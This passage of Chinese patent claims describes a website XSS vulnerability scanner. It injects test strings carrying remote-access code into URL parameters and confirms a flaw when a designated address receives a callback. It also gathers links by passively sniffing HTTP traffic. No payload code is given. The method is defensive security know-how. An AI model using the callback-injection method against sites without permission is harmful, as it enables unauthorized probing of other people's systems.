在所述待检测的链接中加入XSS测试字符串形成测试链接，其中，所述测试字符串中包括远程访问代码，所述远程访问代码执行时向指定地址发送访问请求；

根据所述测试链接发送超文本传输协议请求；

如果指定地址获取到来自所述网站的访问请求，则确定所述网站存在XSS漏洞。

2.根据权利要求1所述的网站XSS漏洞检测方法，其中，所述获取网站待检测的链接包括：

获取用户指定网站的链接以及与指定网站相关联的其他链接。

3.根据权利要求1所述的网站XSS漏洞检测方法，其中，所述获取网站待检测的链接包括：

通过旁路侦听而获得的超文本传输协议请求包；利用所述请求包所包含的链接确定属于已知特定网站的关联新链接；

将所述关联新链接作为待检测的链接。

4.根据权利要求1至3中任一项所述的网站XSS漏洞检测方法，其中，所述在所述待检测的链接中加入XSS测试字符串形成测试链接包括：

识别出所述待检测的链接参数部分，在所述参数部分加入XSS测试字符串，以形成测试链接。

5.根据权利要求1至3中任一项所述的网站XSS漏洞检测方法，其中，所述指定地址获取到来自所述网站的访问请求包括：

所述指定地址接收到来自所述网站发送的超文本传输协议请求；

或者

所述指定地址的脚本程序被所述网站执行。

6.根据权利要求1至3中任一项所述的网站XSS漏洞检测方法，其特征在于，该方法包括后续步骤：显示图形用户界面以输出XSS漏洞的具体信息。

7.一种网站XSS漏洞检测设备，其特征在于，包括：

获取单元，用于获取网站待检测的链接；

添加单元，用于在所述待检测的链接中加入XSS测试字符串形成测试链接，

其中，所述测试字符串中包括远程访问代码，所述远程访问代码执行时向指定地址发送访问请求，所述网站根据所述测试链接发送超文本传输协议请求；

接收单元，用于接收访问请求，当通过所述指定地址获取到来自所述网站的访问请求，则确定所述网站存在XSS漏洞。

8.根据权利要求7所述的网站XSS漏洞检测设备，其特征在于，还包括：

指令单元，用于接收并解析用户输入指令，以确定用户指定网站的链接，

其中，所述获取单元用于获取用户指定网站的链接以及与指定网站相关联的其他链接。

9.根据权利要求7所述的网站XSS漏洞检测设备，其特征在于，所述获取单元包括：

监听子单元，用于通过旁路侦听而获得的超文本传输协议请求包；

确定子单元，用于利用所述请求包所包含的链接确定属于已知特定网站的关联新链接，将所述关联新链接作为待检测的链接。

10.根据权利要求7至9中任一项所述的网站XSS漏洞检测设备，其特征在于，所述添加单元包括：

识别子单元，用于识别出所述待检测的链接参数部分；

字符串子单元，用于在所述参数部分加入XSS测试字符串，以形成测试链接。

11.根据权利要求7至9中任一项所述的网站XSS漏洞检测设备，其特征在于，所述接收单元通过指定地址接收到来自所述网站发送的超文本传输协议请求，或在所述指定地址的脚本程序被所述网站执行时，通过所述指定地址获取到来自所述网站的访问请求。

12.根据权利要求7至9中任一项所述的网站XSS漏洞检测设备，其特征在于，还包括：

显示单元，用于显示XSS漏洞的具体信息。